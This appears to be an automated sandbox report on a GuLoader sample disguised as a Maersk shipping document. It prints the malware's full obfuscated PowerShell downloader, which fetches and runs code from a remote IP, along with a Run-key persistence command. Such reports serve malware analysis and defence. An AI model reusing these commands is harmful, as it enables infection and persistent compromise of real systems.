guloader | c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0

Analysis

max time kernel
148s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
26-06-2024 14:04

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs
Size

186KB
MD5

24cf2fb7a16835406fbb8110f7728d06
SHA1

c86b83506bcd6e6a5e72dd59b80f6d73fe7acd1c
SHA256

c6264b70bc76be0d3d1d461e357db3b0fa9397fd7fd70740824dea2663abf4c0
SHA512

85c37a37fd4e63f9add57055f65f887c5f21f37ff66caae518508b2e0e815a9daa14db8dbbf6dfa8162cb127d2d7f834d61c17dd707da8caf396cf46075ed936
SSDEEP

3072:5mN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZw:508GxbKja3+DCbKCvBB/WnHXC/sLJFJD

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 3136 WScript.exe
13 2500 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation WScript.exe

flow	pid	process
3	3136	WScript.exe
13	2500	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lamenting = "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\\Americas\\').skrupulses;%Hyraciform% ($Inextinguishables)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

1052 wab.exe
1052 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

4372 powershell.exe
1052 wab.exe

pid	process
1052	wab.exe
1052	wab.exe

Suspicious use of SetThreadContext 31 IoCs

Processes:

powershell.exewab.exe

description	pid	process	target process
PID 4372 set thread context of 1052	4372	powershell.exe	wab.exe
PID 1052 set thread context of 1720	1052	wab.exe	wab.exe
PID 1052 set thread context of 3028	1052	wab.exe	wab.exe
PID 1052 set thread context of 4016	1052	wab.exe	wab.exe
PID 1052 set thread context of 372	1052	wab.exe	wab.exe
PID 1052 set thread context of 4484	1052	wab.exe	wab.exe
PID 1052 set thread context of 4648	1052	wab.exe	wab.exe
PID 1052 set thread context of 2168	1052	wab.exe	wab.exe
PID 1052 set thread context of 1860	1052	wab.exe	wab.exe
PID 1052 set thread context of 4124	1052	wab.exe	wab.exe
PID 1052 set thread context of 4024	1052	wab.exe	wab.exe
PID 1052 set thread context of 344	1052	wab.exe	wab.exe
PID 1052 set thread context of 3516	1052	wab.exe	wab.exe
PID 1052 set thread context of 1728	1052	wab.exe	wab.exe
PID 1052 set thread context of 856	1052	wab.exe	wab.exe
PID 1052 set thread context of 4720	1052	wab.exe	wab.exe
PID 1052 set thread context of 440	1052	wab.exe	wab.exe
PID 1052 set thread context of 3848	1052	wab.exe	wab.exe
PID 1052 set thread context of 4200	1052	wab.exe	wab.exe
PID 1052 set thread context of 4892	1052	wab.exe	wab.exe
PID 1052 set thread context of 2060	1052	wab.exe	wab.exe
PID 1052 set thread context of 1056	1052	wab.exe	wab.exe
PID 1052 set thread context of 3368	1052	wab.exe	wab.exe
PID 1052 set thread context of 3992	1052	wab.exe	wab.exe
PID 1052 set thread context of 2944	1052	wab.exe	wab.exe
PID 1052 set thread context of 1272	1052	wab.exe	wab.exe
PID 1052 set thread context of 3208	1052	wab.exe	wab.exe
PID 1052 set thread context of 2132	1052	wab.exe	wab.exe
PID 1052 set thread context of 2300	1052	wab.exe	wab.exe
PID 1052 set thread context of 528	1052	wab.exe	wab.exe
PID 1052 set thread context of 4268	1052	wab.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 30 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3208	3028	WerFault.exe	wab.exe
3524	4016	WerFault.exe	wab.exe
2612	1720	WerFault.exe	wab.exe
4436	4484	WerFault.exe	wab.exe
3100	372	WerFault.exe	wab.exe
4424	4648	WerFault.exe	wab.exe
1232	1860	WerFault.exe	wab.exe
964	4124	WerFault.exe	wab.exe
2044	2168	WerFault.exe	wab.exe
1088	4024	WerFault.exe	wab.exe
4880	3516	WerFault.exe	wab.exe
5016	344	WerFault.exe	wab.exe
4912	856	WerFault.exe	wab.exe
1176	4720	WerFault.exe	wab.exe
4748	1728	WerFault.exe	wab.exe
820	4200	WerFault.exe	wab.exe
2536	440	WerFault.exe	wab.exe
1392	3848	WerFault.exe	wab.exe
604	4892	WerFault.exe	wab.exe
2332	2060	WerFault.exe	wab.exe
2448	1056	WerFault.exe	wab.exe
416	2944	WerFault.exe	wab.exe
3720	3992	WerFault.exe	wab.exe
756	3368	WerFault.exe	wab.exe
3916	1272	WerFault.exe	wab.exe
1496	2132	WerFault.exe	wab.exe
2864	3208	WerFault.exe	wab.exe
3396	528	WerFault.exe	wab.exe
1012	4268	WerFault.exe	wab.exe
4968	2300	WerFault.exe	wab.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3788 reg.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

2500 powershell.exe
2500 powershell.exe
4372 powershell.exe
4372 powershell.exe
4372 powershell.exe

pid	process
3788	reg.exe

pid	process
2500	powershell.exe
2500	powershell.exe
4372	powershell.exe
4372	powershell.exe
4372	powershell.exe

Suspicious behavior: MapViewOfSection 31 IoCs

Processes:

powershell.exewab.exe

pid	process
4372	powershell.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe
1052	wab.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2500 powershell.exe
Token: SeDebugPrivilege 4372 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

1052 wab.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

wab.exewab.exe

pid process

856 wab.exe
2132 wab.exe

description	pid	process
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	4372	powershell.exe

pid	process
1052	wab.exe

pid	process
856	wab.exe
2132	wab.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 3136 wrote to memory of 2500	3136	WScript.exe	powershell.exe
PID 3136 wrote to memory of 2500	3136	WScript.exe	powershell.exe
PID 2500 wrote to memory of 2240	2500	powershell.exe	cmd.exe
PID 2500 wrote to memory of 2240	2500	powershell.exe	cmd.exe
PID 2500 wrote to memory of 4372	2500	powershell.exe	powershell.exe
PID 2500 wrote to memory of 4372	2500	powershell.exe	powershell.exe
PID 2500 wrote to memory of 4372	2500	powershell.exe	powershell.exe
PID 4372 wrote to memory of 1104	4372	powershell.exe	cmd.exe
PID 4372 wrote to memory of 1104	4372	powershell.exe	cmd.exe
PID 4372 wrote to memory of 1104	4372	powershell.exe	cmd.exe
PID 4372 wrote to memory of 1052	4372	powershell.exe	wab.exe
PID 4372 wrote to memory of 1052	4372	powershell.exe	wab.exe
PID 4372 wrote to memory of 1052	4372	powershell.exe	wab.exe
PID 4372 wrote to memory of 1052	4372	powershell.exe	wab.exe
PID 4372 wrote to memory of 1052	4372	powershell.exe	wab.exe
PID 1052 wrote to memory of 2080	1052	wab.exe	cmd.exe
PID 1052 wrote to memory of 2080	1052	wab.exe	cmd.exe
PID 1052 wrote to memory of 2080	1052	wab.exe	cmd.exe
PID 2080 wrote to memory of 3788	2080	cmd.exe	reg.exe
PID 2080 wrote to memory of 3788	2080	cmd.exe	reg.exe
PID 2080 wrote to memory of 3788	2080	cmd.exe	reg.exe
PID 1052 wrote to memory of 1720	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1720	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1720	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1720	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 3028	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 3028	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 3028	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 3028	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4016	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4016	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4016	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4016	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 372	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 372	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 372	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 372	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4484	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4484	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4484	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4484	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4648	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4648	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4648	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4648	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 2168	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 2168	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 2168	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 2168	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1860	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1860	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1860	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 1860	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4124	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4124	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4124	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4124	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4024	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4024	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4024	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 4024	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 344	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 344	1052	wab.exe	wab.exe
PID 1052 wrote to memory of 344	1052	wab.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_Pre_awb_samedaydelivery_63648938475939020000.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
3⤵
PID:2240

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales Andetsprog Madeiran Tenours62 Bungle215 Friktion Turriculae Assendency Faldskrmssoldaters necrophagy Nidology Retarding Rgerrighedernes Ufornuft Thocht Suppe tilbagekaldelsesgrundens Vandels opmuntringsprmies Tilsigende Halt Dissceptered Rammer Antings Wholesales';$anticamera = 1;Function Nihilisten($Sermonettino){$Dansesteder=$Sermonettino.Length-$anticamera;$Sporeplantes='SUBSTRIN';$Sporeplantes+='G';For( $Renoveringerne=1;$Renoveringerne -lt $Dansesteder;$Renoveringerne+=2){$Andetsprog+=$Sermonettino.$Sporeplantes.Invoke( $Renoveringerne, $anticamera);}$Andetsprog;}function Rectangular($Buoyant){ . ($Enschedule22) ($Buoyant);}$Dory=Nihilisten 'CM o z,iKl l.a,/C5 . 0 M( W i,nSdVo.wAs. TN T. 1 0 . 0 ; AW.i n 6R4 ;A Gx 6t4z;A Lr.v :.1G2.1.. 0 )o AGVeScNk o./ 2L0S1.0 0 1M0,1U ,FNiArTe.f oSx /,1.2,1 .F0F ';$Strejfet=Nihilisten 'AU,s eSr - A.g e.njtT ';$Friktion=Nihilisten 'ShGtPtFpF: /R/M1E0O3A.T1 9 5B.V2 3 7A.S4M3 /NApdSnEaPt,i,oBnS.VqSxgdC ';$Salvadoriansk=Nihilisten '.>B ';$Enschedule22=Nihilisten ',iCeGx. ';$Cartogram='Faldskrmssoldaters';$Inocarpin = Nihilisten '.e c,hUo, %,aCp.pLd a.t.a.%,\TS,aMl,tPuBrLt e,rOn e s .dGAe vU U&U& .e c.h oF HtU ';Rectangular (Nihilisten ' $ gRl.oSb a l :GSSaEm v iBtHtCi gJhVePdrsGlDs eFs.t 1 9S5T=S(Sc mFd ./Oc, L$ IEnAoscFa r pMi,n,) ');Rectangular (Nihilisten 'A$DgslAo b aAl : BMu n g,lZeI2R1.5T=D$ F.r iUk tAi.o.n . s pBl i t ( $ SAaPl,v,aSd o r iAa nKs kG) ');Rectangular (Nihilisten 'E[MNRe tK.,SMeRr v i c,eAP oIi n tCMBa.nRaGg e ru]O:T:CS,eVc.u.rMi tUy P r o,t.oBcDo l =I T[SNSeSt .SSTe ctu,rSi,t y.PAr,oStBoFc o,l TIy p eA]p:T:ETNlrsE1 2S ');$Friktion=$Bungle215[0];$ryaens= (Nihilisten 'T$ g lNoTbSa l :KS kLrSi vHe lSaSb e,lI= N epw -BO b j,eTcStM .S yOsEtseSm .RNSe.t.. W,e bNCfl iBeBn,t');$ryaens+=$Samvittighedslsest195[1];Rectangular ($ryaens);Rectangular (Nihilisten 'r$,S,k.r iSvOe.lUaBb.eUlL..HPeAaEd,e,rPs,[ $ S t,rPe.j.f eEtN] = $,DmoArKyV ');$Revellings251=Nihilisten ' $.STkBrSi v eNlTaUbSeTlM.LD oWw nOlUoAa,dDF iAlGeV(,$BFPr i,k t iFoPn ,K$CRFaSmLmUe,r,)P ';$Rammer=$Samvittighedslsest195[0];Rectangular (Nihilisten 'B$FgBl.oVbbaPlw:OA f,sDkQe dys f ebsFtPeCn sR=,( TdeSsPtV-,PUaPtWhF ,$,R aKm.m.e.rS)S ');while (!$Afskedsfestens) {Rectangular (Nihilisten ' $dgDl oHb aSlA: H vBiDl e nBeR=,$,t,rSuTeO ') ;Rectangular $Revellings251;Rectangular (Nihilisten 'SSKtFaVrKt.-HSRlAeAe.pR .4 ');Rectangular (Nihilisten 'R$Fg l oJb,aHlF:aA f sSkSeAdAs,fseLsOtEe,n sT= (ST.e s t - PFaPtRhN $YRUaNmpm e,rL) ') ;Rectangular (Nihilisten 'A$LgIl o bBaUlt:,TUe n oBuDr,sU6P2V=B$ g l oHbBa lL: MWa d,eNi r aCn.+.+ % $,B.u,n g,l e 2 1V5 .Hc o,u n,t. ') ;$Friktion=$Bungle215[$Tenours62];}$centrifugeringen=327851;$Laeotropic=24997;Rectangular (Nihilisten 'E$.g l,o b a,lC:.nBe cDr o pbh aDg y. .=M AG e,t -IC oSnSt eunVt .$FRCa m m eOrS ');Rectangular (Nihilisten ' $Pg,lSo,b aMl : ETx o c cAiKp i tVa,l =P [,S,y,sGtaeEmC. CFoDn vFeWr.t ] : :CF,rVo,mRBOa s,eR6,4TSFt ruiLnRgH(a$,n.e.cHr o pCh aSgPyV)M ');Rectangular (Nihilisten 'K$,gOlUo b aMl,:UR g eTrTr.imgAhIe d eFr n els. = [ S yFs,tPeFmG. TEeuxOtV.KE,n,cAopdri nDgU]P:,:FA SBC IEIF.RGOe.t SStHr iPnRgF(M$ ETx oGcscNi pUi tkaPl )B ');Rectangular (Nihilisten ' $ gSlTo b a lD:.JPurdJgPeSs,h,iSpR=A$ RLgFeZrMrSi gAhOeMdDeGr nFe,sB.BsFuibPs tmrBiAnTgL(S$ c eKnAt r.i f,uSgte r iMn.g e,nC,.$,LBaAe o tMr o pBiAc,), ');Rectangular $Judgeship;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4372

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Salturternes.Gev && echo t"
4⤵
PID:1104

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1052

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2080

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lamenting" /t REG_EXPAND_SZ /d "%Hyraciform% -w 1 $Inextinguishables=(Get-ItemProperty -Path 'HKCU:\Americas\').skrupulses;%Hyraciform% ($Inextinguishables)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:3788

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vblevdaoop"
5⤵
PID:1720

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1720 -s 12
6⤵
- Program crash
PID:2612

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\fdzwwwkhkxkme"
5⤵
PID:3028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3028 -s 12
6⤵
- Program crash
PID:3208

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\pyehxodjyfcrgrnr"
5⤵
PID:4016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4016 -s 12
6⤵
- Program crash
PID:3524

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\knsyt"
5⤵
PID:372

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 372 -s 12
6⤵
- Program crash
PID:3100

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uhfrufao"
5⤵
PID:4484

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4484 -s 12
6⤵
- Program crash
PID:4436

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\xjlkvylqnsq"
5⤵
PID:4648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4648 -s 12
6⤵
- Program crash
PID:4424

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rqybrwfbbovvrgglhljuetpncuhbpne"
5⤵
PID:2168

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2168 -s 12
6⤵
- Program crash
PID:2044

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\bsmuspqvxwnabmupzwwnoycwkaqkiyvegl"
5⤵
PID:1860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1860 -s 12
6⤵
- Program crash
PID:1232

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\mmresh"
5⤵
PID:4124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4124 -s 12
6⤵
- Program crash
PID:964

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gbnwpoviybjypbvhjtwihlines"
5⤵
PID:4024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 12
6⤵
- Program crash
PID:1088

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jdsopggcmjblahjlsdrbsqdefzwfd"
5⤵
PID:344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 344 -s 12
6⤵
- Program crash
PID:5016

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tyyhqrqdartqcnfpcoedddpnnfooelngw"
5⤵
PID:3516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3516 -s 12
6⤵
- Program crash
PID:4880

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\yhzrnqoikwpoycyzudeyvrve"
5⤵
PID:1728

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1728 -s 12
6⤵
- Program crash
PID:4748

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ajeboiykxehbbimddorrgwqviets"
5⤵
- Suspicious use of UnmapMainImage
PID:856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 856 -s 12
6⤵
- Program crash
PID:4912

